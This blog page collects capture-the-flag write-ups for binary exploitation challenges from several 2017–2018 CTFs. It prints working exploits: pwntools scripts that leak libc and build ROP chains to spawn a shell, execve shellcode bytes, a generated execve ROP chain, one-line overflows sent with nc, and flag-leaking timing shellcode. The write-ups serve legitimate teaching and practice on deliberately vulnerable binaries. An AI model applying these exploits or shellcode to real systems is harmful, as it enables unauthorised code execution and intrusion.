Showing posts with label binary ninja. Show all posts
Showing posts with label binary ninja. Show all posts

Monday, April 2, 2018

SwampCTF 2018 - Power QWORD


Resources & Description:

The darkness increases as you descend down the stone steps towards The Source. The last vestiges of soft light begin to fade and a red haze starts to permeate the air. Suddenly, as you step on to a landing a MAGE blocks the way. He says...

Connect 
nc chal1.swampctf.com 1999

-=Created By: digitalcold=-


When running this binary initially we're prompted with the following question:

$ ./power
Mage: The old books speak of a single Power QWord that grants
      its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no):

Of Course....




Looking at the checksec report we get:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

Everything enabled + ASLR on the server! Great!

Looking at the instructions, after accepting the magic of exploitation, we see it reads a single QWORD to overwrite saved RIP.


Notice also they generously provided a leak to libc system, as reflected in the stdout:

$ ./power
Mage: The old books speak of a single Power QWord that grants
      its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no): yes
Mage: Show me your conviction to The Source.
      Take this basis [the mage hands you 0x7fd2fc20d590]
      and speak the Power QWord:
...

So we only have one gadget to work with, what are we going to do?

Well, we could call something like gets to read more data onto the stack and return to it, so let's try that!

First let's make a client. I chose to use pwnup to record initial interactions and dump a simple python script:

#!/usr/bin/env python
from pwn import *

r = process('power')

def main():
  print(r.recvuntil('lieve in such things? (yes/no): '))
  r.send('yes\n')
  print(r.recvuntil('     and speak the Power QWord: '))
  r.send('AAAAAAAA\n')

if __name__ == "__main__":
  main()

We can refine this client to parse the libc system address and calculate the base address using the libc version provided:

#!/usr/bin/env python
from pwn import *
from pwnlib.util.safeeval import const

r = process('power')
libc = ELF('./libc.so.6')

def main():
  print(r.recvuntil(': '))
  r.send('yes\n')
  print r.recvuntil('the mage hands you')
  leak = r.recvuntil(']').lstrip(' ').rstrip(']')
  print r.recvuntil('QWord:')

  system = const(leak)
  base = system - libc.symbols['__libc_system']

  print 'base: {}'.format(hex(base))
  print 'system: {}'.format(hex(system))

  r.send('AAAAAAAA\n')

if __name__ == "__main__":
  main()

Now we can calculate the offset of _IO_gets, /bin/sh and a simple pop rdi gadget to setup the call to system (pwntools makes this all very simple):

  system = const(leak)
  base = system - libc.symbols['__libc_system']
  gets = base + libc.symbols['_IO_gets']
  binsh = base + libc.search('/bin/sh').next()
  pop_rdi = base + libc.search(asm('pop rdi; ret;')).next()

  print 'base: {}'.format(hex(base))
  print 'pop rdi: {}'.format(hex(pop_rdi))
  print 'system: {}'.format(hex(system))
  print '/bin/sh: {}'.format(hex(binsh))

Setting up the payload we get the following chain:

payload = p64(gets) + p64(pop_rdi) + p64(binsh) + p64(system)

With that, the full client looks something like this:

Running this against the server we get a shell! : )

[*] './libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chal1.swampctf.com on port 1999: Done
Mage:
The old books speak of a single Power QWord that grants
      its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no): Mage: Show me your conviction to The Source.
      Take this basis [the mage hands you

      and speak the Power QWord:
base: 0x7fd4f0017000
pop rdi: 0x7fd4f0038102
system: 0x7fd4f005c390
/bin/sh: 0x7fd4f01a3d57
[*] Switching to interactive mode
 $ ls -la
total 28
drwxr-x--- 1 root ctf   4096 Mar 30 15:24 .
drwxr-xr-x 1 root root  4096 Mar 26 07:15 ..
-r--r--r-- 1 root ctf     29 Mar 30 15:24 flag
-r-xr-xr-x 1 root ctf  13024 Mar 30 15:24 power
$ cat flag
flag{m4g1c_1s_4ll_ar0Und_u5}

Sunday, April 1, 2018

SwampCTF 2018 - Apprentice's Return


This was a fun little intro challenge for the CTF. It adds a twist to the classic first step for beginners in exploit development.

One of the first ideas in exploitation is to change execution to a 'WIN' function, in this case 'slayTheBeast'.

Resources & Description:

For one such as yourself, apprentice to the arts of time manipulation, you must pass this first trial with a dreadful creature.

Connect:
nc chal1.swampctf.com 1802

-=Created By: TobalJackson=-

Here's the checksec listing:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

The 'doBattle' function will read 50 bytes onto the stack then check the first gadget against 0x8048595, which refers to the leave instruction in 'doBattle':


The comparison checks the first gadget is below or equal to 0x8048595 using jbe. If this comparison passes, we get to return to our ROP chain.

Inspecting 'slayTheBeast', we can see it just cat's the flag, but the addresses are all above the previous comparison (0x8048595):


To pass the initial check, we can find a simple gadget which just returns to another gadget, almost a NOP gadget if you will. Let's look for this using ropper:

[INFO] Load gadgets from cache
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret

[INFO] File: return
0x08048545: ret 0x2b76;
0x0804853e: ret 0x95b8;
0x0804847e: ret 0xeac1;
0x080485ea: ret 0xfffd;
0x0804835a: ret;

The last one satisfies our constraint and has a clean exit, let's use that (0x0804835a) in combination with the flag printing function (0x80485db):

$ python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db)' | ./return
As you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip!  The beast lurches at you; quick! Tell me what you do:
Your actions take the Allip by surprise, causing it to falter in its attack!  You notice a weakness in the beasts form and see a glimmer of how it might be defeated.
Through expert manouvering of both body and mind, you lash out with your ethereal blade and pierce the beast's heart, slaying it.
As it shimmers and withers, you quickly remember to lean in and command it to relinquish its secret:
flag{fake_flag}
[1]    30162 done                              python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db) |
       30163 segmentation fault (core dumped)  ./return

(The fake flag was placed in the same directory before executing the exploit)

echo 'flag{fake_flag}' > flag.txt

Now we can try it against the live service:

$ python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db)' | nc chal1.swampctf.com 1802
As you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip!  The beast lurches at you; quick! Tell me what you do:

Your actions take the Allip by surprise, causing it to falter in its attack!  You notice a weakness in the beasts form and see a glimmer of how it might be defeated.
Through expert manouvering of both body and mind, you lash out with your ethereal blade and pierce the beast's heart, slaying it.
As it shimmers and withers, you quickly remember to lean in and command it to relinquish its secret:
...

And we've got the flag! Fear not the ancient ROPnique:

flag{f34r_n0t_th3_4nc13n7_R0pn1qu3}

Art on top is from http://www.dungeonsanddrawings.com/

Sunday, March 4, 2018

Pragyan CTF 2018 - Old school hack (200)


Pragyan had some fun challenges! There will be more writeups coming up soon for the CTF.
This binary Challenge wasn't very difficult, but the nostalgia of it was nice!

Here is the description:

Chris is trying out to be a police officer and the applications have just been sent into the police academy. He is really eager to find out about his competition. Help it him back the system and view the other applicant’s applications.

The service is running at 128.199.224.175:13000

We're given a x86-64 binary with NX & Canary enabled named police_academy.
Looking in Binary Ninja, we can immediately find out a few details which will help later when running through dynamic analysis.

First, there's a simple hard-coded password check on the binary:



After this it asks for a case number using scanf, uses a jump table to load a specific data filename onto the stack ($rbp-0x30) and then prints that file using print_record:


For the strings in Binary Ninja above, one useful feature is to hit the 'r' key to convert to character constants. The same was done for the jump to the flag setup:


The flag case exits which isn't very useful for us, so time to look elsewhere.

We can see all other cases converge onto this one block:


Note it's loading the filename string at rbp-0x30, 16 bytes after the password on the stack.
It's also interesting the existence check happens after the print.

Maybe we can overflow using password to add the path of flag.txt to the string referenced on the stack.

Looking back at the initial case comparison, there's a jump above instruction which will hit 0x400cb8 if the value is above 7:


Seems like we have a good amount of information to start dynamic analysis, let's run this binary!

Breaking at the ja destination, we'll inspect the stack value for filename to see if we can overflow into it. Remember the password is stored at rbp-0x40 and the filename is stored at rbp-0x30, that's a difference of 0x10 or 16 bytes. With that, let's try the overflow in GDB:

pwndbg> b *0x400cb8
Breakpoint 1 at 0x400cb8
pwndbg> r
Enter password to authentic yourself : kaiokenx20______AAAA
Enter case number:

   1) Application_1
   2) Application_2
   3) Application_3
   4) Application_4
   5) Application_5
   6) Application_6
   7) Flag

   Enter choice :- 9

pwndbg> x/s $rbp-0x40
0x7fffffffdf00: "kaiokenx20_____"...
pwndbg> x/s $rbp-0x30
0x7fffffffdf10: "AAAA"

Looks like it worked!

Repeating the same with flag.txt doesn't seem to work for some reason, let's look back at the disassembly....

In print_record, there's a compare for the filename size to be equal to 0x24 bytes:



This next part brings the nostolgia back, with path modification to work with this buffer size. We need to make this path 0x24 bytes while preserving validity of loading flag.txt. To do this we may add a bunch of slash characters when referencing it locally, ex.:

.///////////////////////////flag.txt

Combining this with our password, we get the following:

kaiokenx20______.///////////////////////////flag.txt

Running the binary with this password and a large > 7 (or underflowed negative) value for case number we drop the flag:

Enter password to authentic yourself :
Enter case number:

     1) Application_1
     2) Application_2
     3) Application_3
     4) Application_4
     5) Application_5
     6) Application_6
     7) Flag

     Enter choice :-


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX



The flag is :- pctf{bUff3r-0v3Rfl0wS`4r3.alw4ys-4_cl4SsiC}


Monday, February 26, 2018

TAMUCTF 2018 - pwn*


The following is a writeup for all pwn challenges found in TAMUCTF 2018:


Pwn 1


This challenges was a simple overflow of 23 bytes + 0xf007b411 (taken from a hardcoded compare). After the compare passes, it branches to 0x8048626 which calls the print_flag function.



$ python -c 'print "A"*23 + "\x11\xba\x07\xf0"' | nc pwn.ctf.tamu.edu 4321

This is a super secret program
Noone is allowed through except for those who know the secret!
What is my secret?
How did you figure out my secret?!
gigem{H0W_H4RD_1S_TH4T?}


Pwn 2


The second pwnable was similar to the first, but this time we're overwriting EIP with the function print_flag.

Running pwn2, we see it echos back some text by calling an echo function:

$ ./pwn2
I just love repeating what other people say!
I bet I can repeat anything you tell me!
AAAA
AAAA

We could also run this with ltrace showing the address of the gets, which will take us to the echo function [0x80485de]:

$ ltrace -i ./pwn2
[0x8048471] __libc_start_main(0x80485f6, 1, 0xffc22824, 0x8048650 
[0x8048618] setvbuf(0xf7751ac0, 0x2, 0, 0)                                                       = 0
[0x8048628] puts("I just love repeating what other"...I just love repeating what other people say!
)                                          = 45
[0x8048638] puts("I bet I can repeat anything you "...I bet I can repeat anything you tell me!
)                                          = 41
[0x80485cc] setvbuf(0xf7751ac0, 0x2, 0, 0)                                                       = 0
[0x80485de] gets(0xffc22679, 2, 0, 0AAAA
)                                                            = 0xffc22679
[0x80485f0] puts("AAAA"AAAA
)                                                                         = 5
[0xffffffffffffffff] +++ exited (status 0) +++

Looking at echo in Binary Ninja, again we see that it's vulnerable because of the gets function, which has no bounds checking:



Playing with the buffers until we hit EIP:

$ python -c 'print "A"*243 + "BBBB"' | strace -i ./pwn2 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

Then we just insert the address of print_flag [0x804854b], using pwntools for packing:

$ python -c 'from pwn import p32; print "A"*243 + p32(0x804854b)' | nc pwn.ctf.tamu.edu 4322
I just love repeating what other people say!
I bet I can repeat anything you tell me!

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK�
This function has been deprecated
gigem{3ch035_0f_7h3_p4s7}


Pwn 3


pwn3 is very similar to pwn2, but it has no print_flag function and ASLR was turned on for the server. Luckily there were no binary mitigations on this one:


First just running this binary we get:

Welcome to the New Echo application 2.0!
Changelog:
- Less deprecated flag printing functions!
- New Random Number Generator!

Your random number 0xffb837fa!
Now what should I echo? AAAA
AAAA

What's that 'random number' generated? It looks like a memory address. Looking in Binary Ninja we confirm it just points to our shellcode, Great!


We can see the EIP overwrite is 242 bytes in:

$ python -c 'print "A"*242 + "BBBB"' | strace -i ./pwn3 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

Now we just need to leak the shellcode address, place some shellcode at the start of the buffer and overwrite EIP with the leaked address.

To do this, I wrote a small client:

#!/usr/bin/env python
from pwn import *

#r = process('./pwn3')
r = remote('pwn.ctf.tamu.edu', 4323)

NOP = '\x90'
SC = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
LEAK_STR = 'Now what should I echo? '

def main():
  result = r.recvuntil(LEAK_STR)
  result = result.split('\n')[5].split('0x')[-1].rstrip('!')
  stack = result.decode('hex')[::-1]

  payload = SC + NOP * (242 - len(SC)) + stack
  r.sendline(payload)
  r.interactive()

if __name__ == "__main__":
  main()

Running we get a shell and cat the flag:

$ python pwn3-client.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4323: Done
[*] Switching to interactive mode
1�Ph//shh/bin\x89�PS\x89�
                          ̀\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90:v��
$ cat flag.txt
gigem{n0w_w3_4r3_g377in6_s74r73d}


Pwn 4


In this challenge we get an interface to execute specific commands without arguments, but there's another gets we can take advantage of:


It looks like the binary has NX enabled:



We can use ret2libc to get a shell, first we need to find the gadgets for /bin/sh & system, pwndbg makes this simple:

pwndbg> p system
$1 = {<text variable, no debug info>} 0x8048430 <system@plt>
pwndbg> b main
Breakpoint 1 at 0x8048791
pwndbg> r
Breakpoint main
pwndbg> search /bin/sh
pwn4            0x804a038 u'/bin/sh'

That gives us 0x8048430 for system & 0x804a038 for '/bin/sh', then we just need to pad with the right offset. We find the EIP overwrite just as above:

$ python -c "print 'A'*32 + 'BBBB'" | strace -i ./pwn4 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

Tying that all together, we get:

(python -c 'from pwn import *; print "A"*32 + p32(0x8048430) + "JUNK" + p32(0x0804a038)'; cat) | nc pwn.ctf.tamu.edu 4324
I am a reduced online shell
Your options are:
1. ls
2. cal
3. pwd
4. whoami
5. exit
Input> Unkown Command

cat flag.txt
gigem{b4ck_70_7h3_l1br4ry}


Pwn 5


This challenge is a statically linked x86 binary with NX enabled. After looking through the functions used, playing with it on the command-line, it doesn't take too long to find the vulnerability - another gets call:



First it would be nice to automate stdin for this challenge with a small PoC client:

#!/usr/bin/env python
from pwn import *
from struct import pack

r = process('./pwn5')
#r = remote('pwn.ctf.tamu.edu', 4325)

# requires tmux to run
context(terminal = ['tmux', 'splitw'])

def main():
  r.sendline('a')
  r.sendline('a')
  r.sendline('a')
  r.send('y\n')
  r.send('2\n')
  gdb.attach(r, 'c')
  r.sendline('AAAA')
  r.interactive()

if __name__ == "__main__":
  main()


We can see from the disassembly gets is storing our input in ebp-0x1c, if we add 4 for EBP we get to EIP, making our padding 32 bytes.

If we rerun our client replacing 'AAAA' with 'A'*32 + 'BBBB', we'll see a crash of 0x42424242 in gdb.

Next all we need to do is ROP! For this we can use Ropper to generate the ROPChain:

$ ropper --file ./pwn5 --chain execve

Dumping that into our existing client, we get:

#!/usr/bin/env python
from pwn import *
from struct import pack

#r = process('./pwn5')
r = remote('pwn.ctf.tamu.edu', 4325)

IMAGE_BASE = 0x08048000
rebase = lambda x : p32(x + IMAGE_BASE)

rop = ''
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += '//bi'
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8060)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += 'n/sh'
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8064)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000016b3) # 0x080496b3: xor eax, eax; ret;
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000001d1) # 0x080481d1: pop ebx; ret;
rop += rebase(0x000a8060)
rop += rebase(0x0009c325) # 0x080e4325: pop ecx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += p32(0xfffffff5)
rop += rebase(0x0001a407) # 0x08062407: neg eax; ret;
rop += rebase(0x0002b990) # 0x08073990: int 0x80; ret;

def main():
  r.sendline('a')
  r.sendline('a')
  r.sendline('a')
  r.send('y\n')
  r.send('2\n')
  r.sendline('A'*32 + rop)
  r.interactive()

if __name__ == "__main__":
  main()

Then we run it and cat the flag:

$ python pwn5-client.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done
[*] Switching to interactive mode
$ cat flag.txt
gigem{r37urn_0f_7h3_pwn}

Monday, November 27, 2017

TUCTF 2017 - Vuln Chat



TUCTF was a lot of fun this year, it's primarily geared towards High School & College levels so the challenges tend to be easier than a lot of other CTF's, but any CTF is good practice! The challenges this year were very well designed and it was nice to go through them!

Starting off with PWN we have "vuln chat" and "vuln chat 2.0", both 32-bit ELF binaries.


Vuln Chat


The first binary had a very simple main function.  It contained a simple printFlag function which cat's flag.txt.  It includes two scanf calls in the main function with the format string %30s.


The scanf call is limited to 30 bytes because of the format string, but the first scanf call overflows the format string of the second.  If we walk through this in gdb using pwndbg we can see the format string being overwritten.

Breaking at the second scanf with a short string:

pwndbg> b *0x08048634
pwndbg> r <<< $(python -c "print 'AAAA'")
 ► 0x8048634 
call __isoc99_scanf@plt <0x8048460> format: 0xffffd1b3 ◂— '%30s' vararg: 0xffffd18b ◂— 0x486b208

Breaking at the second scanf with a longer string:

pwndbg> r <<< $(python -c "print 'A'*24")
 ► 0x8048634 
call __isoc99_scanf@plt <0x8048460> format: 0xffffd1b3 ◂— 'AAAA' vararg: 0xffffd18b ◂— 0x486b208


Nice! We can control the format string! At this point we could do a few things, use %n or %hn to write to a pointer on the stack, or just increase the input size to perform a regular stack smash, let's do the latter.

The buffer is 20 bytes until the format string overwrite, so we'll fill it with 20 A's, then make the format string %1000s which will overflow enough to get to saved EIP + more.

pwndbg> r <<< $(python -c "from pwn import *; print 'A'*20 + '%1000s\n' + 'A'*100")
 ► f 0 41414141
   f 1 41414141
   f 2 41414141
   f 3 41414141
   f 4 41414141
   f 5 41414141
   f 6 41414141
   f 7 41414141
   f 8 41414141
   f 9 41414141
   f 10 41414141
Program received signal SIGSEGV (fault address 0x41414141)

Looking at saved eip & the start of the buffer, we can see it's 0x31 or 49 bytes away:

pwndbg> i f
Stack level 0, frame at 0xffffd1c0:
 eip = 0x8048639 in main; saved eip = 0x41414141
 called by frame at 0xffffd1c4
 Arglist at 0xffffd1b8, args:
 Locals at 0xffffd1b8, Previous frame's sp is 0xffffd1c0
 Saved registers:
  ebp at 0xffffd1b8, eip at 0xffffd1bc
...

pwndbg> context stack
02:0008│      0xffffd188 ◂— 0x41049a10
03:000c│      0xffffd18c ◂— 0x41414141 ('AAAA')
... ↓
1b:006c│      0xffffd1ec ◂— 0x414141 /* 'AAA' */
1c:0070│      0xffffd1f0 ◂— 0x0

pwndbg> p/x 0xffffd1bc - 0xffffd18b
$8 = 0x31

We can get the address of printFlag and overwrite saved eip with it.

pwndbg> p printFlag
$9 = {} 0x804856b 

The Final Remote Exploit:

$ (python -c "from pwn import *; print 'A'*20 + '%1000s\n' + 'A'*49 + p32(0x0804856b)"; cat) | nc vulnchat.tuctf.com 4141



Vuln Chat 2.0


This second challenge only took a couple minutes to complete, it was done only with dynamic analysis and the address of the printFlag function.  If we try a very large buffer we see we get a partial overwrite of EIP.

pwndbg> r <<< $(python -c "print 'A'*9001")
 ► f 0  8044141
Program received signal SIGSEGV (fault address 0x8044141)

This looks a lot like a partial overwrite during an ASLR challenge! Printing the address of printFlag and trying to overwrite with the last two bytes is the next step:

pwndbg> p printFlag
$1 = {} 0x8048672 

pwndbg> r <<< $(python -c "print '\x86\x72'*9001")
Starting program: ./vuln-chat2.0 <<< $(python -c "print '\x86\x72'*9001")
----------- Welcome to vuln-chat2.0 -------------
Enter your username: Welcome �r�r�r�r�r�r�r�!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: You've proven yourself to me. What information do you need?
�r�r�r�r�r�r�r�: djinn: Alright here's you flag:
djinn: flag{1_l0v3_l337_73x7}
djinn: Wait thats not right...
Ah! Found it
[New process 17594]
process 17594 is executing new program: /bin/dash
[New process 17595]
process 17595 is executing new program: /bin/cat
/bin/cat: ./flag.txt: No such file or directory
[Inferior 3 (process 17595) exited with code 01]
Don't let anyone get ahold of this

The Final Remote Exploit:

$ (python -c 'print "\x86\x72"*2240'; cat) | nc vulnchat2.tuctf.com 4242

Monday, May 1, 2017

DEF CON CTF Quals 2017 - mute




This was a very fun challenge by @Gynophage! The idea was fairly simple, you get a binary which will call your shellcode after a buffer of 0x1000 bytes is filled, and is restricted to certain seccomp rules.

If we look at the binary in Binary Ninja we can see the seccomp rules being setup:


Each value being passed to the addRule function is a syscall number which is allowed.

If we look at the addRule function, we can see it just wraps seccomp_rule_add, passing the syscall value and setting the action as 0x7fff0000 which turns out to be mapped to allow.



Enumerating all the possible syscalls we can use for our shellcode, we get this list:


sys_read
sys_open
sys_close
sys_stat
sys_fstat
sys_lstat
sys_poll
sys_lseek
sys_mmap
sys_mprotect
sys_munmap
sys_brk
sys_execve

Notice, we get execve, but we are also missing a crucial syscall for any common tasks - write.  Now we can understand why this challenge is called 'mute'.

This challenge instantly reminded me of BROP, but less involved.  We'll have to extract data from the remote server somehow.  Similar to BROP & Blind SQLi, we could use a timing side-channel attack to extract the flag.


First let's read in the flag with your standard ORW shellcode (minus the write). We knew the flag would probably exist as './flag' thanks to @matir who discovered this from previous challenges such as beatmeonthedl.

; clear registers
xor rax, rax
xor rsi, rsi
xor rbx, rbx
xor rdi, rdi

; fd = open("./flag", 0, 0)
push rax
add rax, 2
mov rsi, 0x67616c662f2f2f2e
push rsi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

; read(fd, $rsp, 0xff)
mov rdi, rax
mov rsi, rsp
mov rdx, 0xff
xor rax, rax
syscall

So far all we're doing is clearing out registers, opening the file './flag' and reading that directly to the stack.

Now we can read a byte off the stack at a time, compare that to some predicted value and hang the process if the value does matches.

Unfortunately we cannot just call 'sleep' because sys_nanosleep and other syscalls 'sleep' depends on are not allowed. However, we may implement our own sleep with some NOP's in a loop. In this case, I use an infinite loop (not recommended), because of laziness.

Also the variables I added here, $POS and $BYTE, are used to index into the flag and compare against a predicted value:

; verify one byte from the stack
add rsp, $POS
xor rax, rax
mov al, $BYTE
pop rbx, rsp
mov bl, bl
cmp al, bl
je L2
jmp done

L2:
nop
jmp L2

done:
nop

Now we just need to write a client to dynamically assemble shellcode based on position in the flag buffer and byte to check, timing out on a valid character.

Here is the full client:



You can also find all the challenge files here - https://github.com/vitapluvia/writeups/tree/master/defconCTF2017/pwn

Ended up using rasm2 as the assembler for this challenge, it was very helpful when trying out various methods. If you'd like to install rasm2, just install radare2 and it'll come as a command-line tool. They also have python bindings, but I didn't get that to that point.

Now when we run the client, we get:

The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
******************************************************************************************************************_____________

Done!

    The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa